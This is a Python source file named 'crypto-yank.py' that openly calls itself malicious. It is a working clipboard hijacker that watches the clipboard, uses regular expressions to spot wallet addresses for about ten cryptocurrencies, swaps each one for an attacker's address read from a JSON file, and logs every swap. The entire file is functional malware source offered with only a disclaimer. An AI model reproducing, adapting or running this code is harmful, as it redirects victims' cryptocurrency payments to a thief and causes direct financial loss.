crypto-yank.py

# Warning! This code is malicious, I take 0 responsibility for misuse.
# Created By github.com/jacques-andre

# Function Definitions:
# sniff -  go through regex_matches and find if clipboard contains any crypto if so: return what crypto
# replace - load in crypto addresses from json file and replace clipboard

import pyperclip
import json
import time
import re
import argparse
from datetime import datetime

parser = argparse.ArgumentParser(
    description="Replace crypto-addresses in clipboard with your own"
)
parser.add_argument("--log", help="log output to log.json", action="store_true")


def main():
    # infinite loop: always checking the clipboard
    print("Now watching clipboard for addresses... \n")
    while 1:
        now = datetime.now()
        current_time = now.strftime("%d/%m/%Y %H:%M:%S")  # for logging

        time.sleep(0.5)  # lets not hog up the cpu

        user_clipboard = pyperclip.paste()
        crypto_found = sniff(
            user_clipboard
        )  # returns what potential cryptos are in clipboard
        replacement_address = replace(
            user_clipboard, crypto_found
        )  # do the replacement

        if replacement_address != 0:
            log(
                now, crypto_found, user_clipboard, replacement_address
            )  # only log if found


def replace(user_clipboard, crypto_found):
    with open("addresses.json") as json_file:
        master_addresses = json.load(json_file)

    if crypto_found != 0 and master_addresses[crypto_found] != "null":
        pyperclip.copy(master_addresses[crypto_found])
        return str(master_addresses[crypto_found])
    return 0


def sniff(user_clipboard):
    crypto_regex_match = {
        "btc": "^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$",
        "xmr": "4[0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}",
        "eth": "^0x[a-fA-F0-9]{40}$",
        "dash": "^X[1-9A-HJ-NP-Za-km-z]{33}$",
        "xrp": "^r[0-9a-zA-Z]{24,34}$",
        "doge": "^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$",
        "ada": "^D[A-NP-Za-km-z1-9]{35,}$",
        "lite": "^[LM3][a-km-zA-HJ-NP-Z1-9]{25,34}$",
        "tron": "^T[a-zA-Z0-9]{33}$",
        "dot": "^[1-9A-HJ-NP-Za-km-z]*$",
    }

    for k, v in crypto_regex_match.items():
        if bool(re.search(v, user_clipboard)):
            return str(k)

    return 0


def log(current_time, crypto_found, user_clipboard, replacement_address):
    if crypto_found != 0:
        with open("log.txt", "a+") as log:
            log.write(
                "["
                + str(current_time)
                + "]: "
                + str(crypto_found.upper())
                + " in clipboard "
                + "("
                + str(user_clipboard)
                + ") "
                + "replacing with -> "
                + str(replacement_address)
                + "\n"
            )


main()